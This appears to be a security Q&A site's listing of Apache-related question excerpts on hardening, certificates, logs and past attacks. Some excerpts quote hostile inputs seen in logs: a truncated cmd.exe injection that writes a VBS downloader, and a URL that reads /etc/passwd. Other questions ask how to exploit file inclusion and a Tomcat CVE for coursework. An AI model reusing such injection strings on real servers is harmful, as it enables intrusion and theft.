Questions about the security of Apache open source software, especially Apache HTTP Server

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2answers
330 views

Is there an easy way to secure Apache on debian?

I run an Apache webserver with lots of PHP-sites of several customers. I tried install apache-mod_security2 after this (german) tutorial that is using these rulesets: ...
0
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2answers
26 views

cross-signed end-entity certificates: usage in apache/openssl/gnutls

A previous question, What is the use of cross signing certificates in X.509? described cross-signed certificates well. I have a situation where the clients trust CA1 xor CA2, and both need to reach a ...
0
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3answers
145 views

Securing apache by IP with .htaccess

I have a folder that I don't want to be accessible from outside my network's LAN. It seems like all traffic from the outside world goes through my firewall (192.168.1.39). So I made my .htaccess as ...
0
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2answers
94 views

how to block ip from head or ping or get or post to webserver (using apache and windows)?

am using apache 2.4.9 latest with windows 7 i am using some modules like limitipconn_module security2_module but using wireshark i get unlimited request to busy my webserver (DOS) from some ip ...
0
votes
1answer
81 views

Apache redirecting to unsecure port

I have setup a test website in order to play around setting up SSL. The website is setup on a Windows host with Apache 2.2.20 with OpenSSL 0.9.8r, MySQL 5.5.37, PHP 5.3.28. The URL to the home page ...
0
votes
1answer
45 views

Are there any exploits in Movable Type that allow the attacker to delete the movable type files?

I'm a developer for a web site; we have a small blog powered by Movable Type that we added a few years ago. The blog doesn't get a lot of traffic or attention; we just noticed a couple of days ago ...
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1answer
2k views

Apache 2.2 mod_ssl configuration Forward Secrecy/BREACH/BEAST/CRIME

I am looking for mod_ssl configuration which protects against common attacks like Breach, Beast and Crime. I already disabled gzip to avoid Crime but I'm unsure about the others. RC4 should only be ...
0
votes
2answers
167 views

Does the Heartbleed vulnerability affect signed java applets [closed]

I have a Windows based server that serves a signed JAVA applet. The website isn't secured (HTTP), but all JAVA applets have to be signed now, so the site serves a signed JAVA applet as part of a web ...
0
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1answer
58 views

Security implications of putting virtual hosts source code in /var/www/[domain]

A friend pointed out that putting virtual hosts as sub folders of the default /var/www was a bad idea. (linux example path; this applies to all OS) I see that it's possible to reach the virtual hosts ...
0
votes
1answer
217 views

How does a website get pass my server firewall and attempt to hotlink to my server resources?

I was stumped when I saw the following lines on my Apache server error log this morning: [authz_core:error] [client ::1:37317] AH01630: client denied by server configuration: ...
0
votes
1answer
267 views

Installed new Wildcard certificates on my server, but still appear as expired on browser [closed]

I have bought new WILDCARD certificates (*.mydomain.com) for my servers. I was able to install successfully on one server. So, I know the files are correct and I was able to verify their validity. ...
0
votes
1answer
150 views

Abusing write permission on Apache logs dir to escalete privileges

I have just come across this sentence on apache log files documentation: Anyone who can write to the directory where Apache is writing a log file can almost certainly gain access to the uid that ...
0
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2answers
193 views

My Apache log is kind of freaking me out [closed]

So, last night I looked at the Apache log of my shared hosting account for the first time. There was quite a lot of traffic that looked suspicious, specifically a lot of GET request from a domain, ...
0
votes
3answers
1k views

Security checklist for hosting a website on dedicated server - Linux [closed]

I have been searching for a while now. But i can't find a start-up and advanced sought-of checklist to understand the most important things to consider while going for dedicated hosting server for a ...
0
votes
1answer
255 views

What are the consequences of turning on Apache AllowEncodedSlashes?

What are the consequences of turning on Apache AllowEncodedSlashes? I want to turn it on and I want to know if this any worse than any of the other kinds of injection attacks that may occur in web ...
0
votes
1answer
114 views

How bad of a practice is it to mount tomcat's manager to Apache2?

If we take into account only security concerns, how bad of a practice is it to mount tomcat's manager to Apache2. E.g.,: JkMount /manager/html* ajp13_worker I'm doing this because my company has ...
0
votes
1answer
595 views

Mod_security rules-updater.pl fails to pull new release

Mod_security has a rules updater distributed with their release packages on sourceforge: http://sourceforge.net/projects/mod-security/files/modsecurity-crs/0-CURRENT/ Usually, you can run the script ...
0
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0answers
26 views

How to get SELinux to prevent Apache/HTTPD from reading specific files [migrated]

What am I missing with SELinux? I thought it was supposed to be another layer of security but I built a web page vulnerable to command injection and it can basically traverse most of my file system. ...
0
votes
1answer
55 views

HTTPS enable for proxy server or web server

Say I have 2 separated servers which are one web server (apache) and one proxy server (nginx), I want to use HTTPS for the website running on the Apache. Do I enable SSL on apache or nginx or both? ...
0
votes
0answers
93 views

Which OWASP modsecurity crs version to install on apache 2.2.22

Hello I am considering installing owasp mod_security crs on an ubuntu 12.04.4 which comes with apache 2.2.22. On the github page I have seen many version's but all tutorials were using 2.2.7 First I ...
0
votes
0answers
100 views

Current State of BREACH (GZIP SSL Attack)?

It has been one year since BREACH made our way into our hearts, and there does not seem to be any articles or posts or patches since then, is my Google-fu weakening? Has BREACH been mitigated or ...
0
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0answers
26 views

Mysql Virtual IP and timeout

What are the risk that I encounter when increasing the timeout of a vip between a web server (apache) and mysql cluster (two servers). Actually it is set to 5 minutes. If time_out was 1hour, knowing ...
0
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0answers
56 views

trackback spotted in multple http errors

[Sun May 11 12:24:46 2014] [error] [client private ip] [X_FORWARDED_FOR 27.159.207.165] Path not found: /contact_us_public.php/trackback/, referer: http://www.mydomain.net/contact_us_public.php Does ...
0
votes
1answer
152 views

ssl client authentication: check only one certificate VS certs signed from a ca

i'm about to secure a webservice with client authentication. (apache2, mod_ssl, openssl). from what i googled, i found that it's more common to have a ca, which signs the client certs, which will ...
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0answers
21 views

Someone is making this request to the php cgi on by apache2 server, what does it mean do? [duplicate]

These are the query parameters the hacker is trying to POST: ...
0
votes
4answers
261 views

Strange activity on Apache httpd access log [duplicate]

I have set up an Apache/2.2.22 (Debian) Server on my Rasberry Pi. Looking at my access.log, I see a bit of strange activity consisting mostly of GETs, which is quite disconcerting as I am a complete ...
0
votes
1answer
758 views

WSO 2.5 Found on Apache

I have found on my web server the file wp-conf.php which when you call it from the browser with a url parameter like wp-conf.php?t7831n=any value shows an interface where you can control the entire ...
0
votes
1answer
478 views

What security concerns exist in running a glassfish app directly on port 443

I have installed Apache http server in front of glassfish based on recommendations i had in this question. I have been told that i will run into performance problems along with security issues. I was ...
0
votes
2answers
154 views

Apache Server Maintains HTTPS Connection To Mysterious Server (Hijacking?)

I've been on a shared webhosting plan for 10 years and I recently moved all of my sites (various WordPress sites and associated plugins, all in PHP, a MediaWiki site, and a lot of static stuff) to my ...
-1
votes
1answer
386 views

Is this new hack attempt something to worry about?

- - [22/Sep/2014:13:54:24 -0600] "GET /?search==%00{.exec|cmd.exe +%2Fc +echo%3E22222.vbs +dim +wait%2Cquit%2Cout%3ASet +xml%3DCreateObject%28%22Microsoft.XMLHTTP%22%29%3ASet +WshShell ...
-1
votes
1answer
3k views

Incorrect file permissions for LAMP [closed]

I have installed Apache 2.4.6 on my server and have the following virtual host config: <VirtualHost *:80> ServerAdmin webmaster@localhost ServerName foobar1.com DocumentRoot ...
-1
votes
1answer
571 views

Prevent URL manipulations including /proc and /etc with fail2ban

I get many attacks on my debian apache server that include URL-manipulations like http://url_on_my_eserver/?username=/etc/passwd How can I block these attacks?
-1
votes
1answer
417 views

How to exploit a local file inclusion vulnerability in a Solaris server [closed]

I am trying to exploit a local file inclusion vulnerability on a Solaris server for my security course. The server is running Apache2 through CoolStack. What is the file that I need to open? The ...
-1
votes
0answers
11 views

/etc/httpd/conf/httpd.conf and /etc/httpd/conf.d/owncloud.http /Directory directives [migrated]

Below is a segment from the owncloud.conf file in /etc/httpd/conf.d. It is the intent to lock out all access except the 10.0 intranet and a limited set of external ip address xx.yy.0.0. However the ...
-2
votes
2answers
118 views

My VPS has been shut down now again for the second time for TOS violations, and I really need some help. [closed]

My VPS has been shut down now again for the second time for TOS violations (email spam), and I really need some help. I have been battling with my server being attacked for over a year now. Most of my ...
-2
votes
2answers
86 views

LAMP Stack Tiers - why?

What are the vulnerabilities mitigated by a tiered LAMP stack? As I understand it, any breach would allow access to the database even if it was tiered. What's the benefit? Are we better to ...
-3
votes
1answer
565 views

Cross-site request forgery attack. How can we stopped this? [closed]

On one of our websites, we are seeing this code is adding itself. I tried to figured out but no success. One thing I have noticed when I removed the html, head and body starting tags, it's gone. Our ...
-4
votes
1answer
980 views

Exploiting tomcat's vulnerability CVE-2009-2693 Arbitrary file deletion and/or alteration on deploy [closed]

For some tests, I want to exploit tomcat 6 vulnerability CVE-2009-2693. You can see it here http://tomcat.apache.org/security-6.html I am trying this with insecure web application of OWASP. I made ...